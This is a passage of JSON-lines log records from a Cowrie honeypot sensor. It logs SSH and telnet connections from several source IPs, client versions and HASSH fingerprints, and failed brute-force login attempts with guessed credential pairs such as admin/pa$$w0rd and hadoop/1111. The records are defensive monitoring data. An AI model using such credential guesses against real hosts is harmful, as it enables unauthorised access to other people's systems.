{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:32:24.055824Z","src_ip":"103.147.159.91","session":"b27604fd5504","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"123123","message":"login attempt [testuser/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:32:25.058292Z","src_ip":"103.147.159.91","session":"b27604fd5504","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:32:26.301032Z","src_ip":"103.147.159.91","session":"b27604fd5504","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"151.80.141.196","src_port":57368,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc11454eeffb","protocol":"ssh","message":"New connection: 151.80.141.196:57368 (10.17.0.5:22) [session: dc11454eeffb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:32:41.053930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:32:41.059381Z","src_ip":"151.80.141.196","session":"dc11454eeffb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:32:41.162683Z","src_ip":"151.80.141.196","session":"dc11454eeffb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.242.109.42","src_port":37062,"dst_ip":"10.17.0.5","dst_port":22,"session":"38f11115af0d","protocol":"ssh","message":"New connection: 190.242.109.42:37062 (10.17.0.5:22) [session: 38f11115af0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:32:41.383169Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:32:41.389357Z","src_ip":"190.242.109.42","session":"38f11115af0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:32:41.486993Z","src_ip":"190.242.109.42","session":"38f11115af0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pa$$w0rd","message":"login attempt [admin/pa$$w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:32:41.518121Z","src_ip":"151.80.141.196","session":"dc11454eeffb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"123123","message":"login attempt [test1/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:32:41.886175Z","src_ip":"190.242.109.42","session":"38f11115af0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:32:42.606302Z","src_ip":"151.80.141.196","session":"dc11454eeffb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:32:42.981747Z","src_ip":"190.242.109.42","session":"38f11115af0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.147.159.91","src_port":32874,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1e97ae2a5b4","protocol":"ssh","message":"New connection: 103.147.159.91:32874 (10.17.0.5:22) [session: d1e97ae2a5b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:33:18.826255Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:33:18.831435Z","src_ip":"103.147.159.91","session":"d1e97ae2a5b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:33:19.070707Z","src_ip":"103.147.159.91","session":"d1e97ae2a5b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwer123","message":"login attempt [ubuntu/qwer123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:33:20.059897Z","src_ip":"103.147.159.91","session":"d1e97ae2a5b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:33:21.302117Z","src_ip":"103.147.159.91","session":"d1e97ae2a5b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"151.80.141.196","src_port":45532,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f18709f0b08","protocol":"ssh","message":"New connection: 151.80.141.196:45532 (10.17.0.5:22) [session: 3f18709f0b08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:33:29.707543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:33:29.715842Z","src_ip":"151.80.141.196","session":"3f18709f0b08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:33:29.794646Z","src_ip":"151.80.141.196","session":"3f18709f0b08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"1111","message":"login attempt [hadoop/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:33:30.122325Z","src_ip":"151.80.141.196","session":"3f18709f0b08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:33:31.209208Z","src_ip":"151.80.141.196","session":"3f18709f0b08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.149.254","src_port":52370,"dst_ip":"159.203.135.109","dst_port":23,"session":"2fe4c262f2fc","protocol":"telnet","message":"New connection: 176.65.149.254:52370 (159.203.135.109:23) [session: 2fe4c262f2fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:33:34.585401Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.242.109.42","src_port":54966,"dst_ip":"10.17.0.5","dst_port":22,"session":"85168d150c55","protocol":"ssh","message":"New connection: 190.242.109.42:54966 (10.17.0.5:22) [session: 85168d150c55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:33:49.687213Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:33:49.691763Z","src_ip":"190.242.109.42","session":"85168d150c55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:33:49.788547Z","src_ip":"190.242.109.42","session":"85168d150c55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"root2022","message":"login attempt [admin/root2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:33:50.196831Z","src_ip":"190.242.109.42","session":"85168d150c55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:33:51.292623Z","src_ip":"190.242.109.42","session":"85168d150c55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.16804003715515,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:34:04.753245Z","src_ip":"176.65.149.254","session":"2fe4c262f2fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.147.159.91","src_port":32932,"dst_ip":"10.17.0.5","dst_port":22,"session":"632719db8f40","protocol":"ssh","message":"New connection: 103.147.159.91:32932 (10.17.0.5:22) [session: 632719db8f40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:34:13.525387Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:34:13.531233Z","src_ip":"103.147.159.91","session":"632719db8f40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:34:13.779705Z","src_ip":"103.147.159.91","session":"632719db8f40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftpuser","password":"test","message":"login attempt [sftpuser/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:34:14.801954Z","src_ip":"103.147.159.91","session":"632719db8f40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:34:16.052828Z","src_ip":"103.147.159.91","session":"632719db8f40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"151.80.141.196","src_port":33696,"dst_ip":"10.17.0.5","dst_port":22,"session":"e493467fcb6e","protocol":"ssh","message":"New connection: 151.80.141.196:33696 (10.17.0.5:22) [session: e493467fcb6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:34:17.514922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:34:17.521183Z","src_ip":"151.80.141.196","session":"e493467fcb6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:34:17.600283Z","src_ip":"151.80.141.196","session":"e493467fcb6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"abc123456","message":"login attempt [admin/abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:34:17.945434Z","src_ip":"151.80.141.196","session":"e493467fcb6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:34:19.029496Z","src_ip":"151.80.141.196","session":"e493467fcb6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.190.215.90","src_port":4950,"dst_ip":"10.17.0.5","dst_port":22,"session":"f857c75857e8","protocol":"ssh","message":"New connection: 186.190.215.90:4950 (10.17.0.5:22) [session: f857c75857e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:34:24.334898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:34:24.339442Z","src_ip":"186.190.215.90","session":"f857c75857e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-h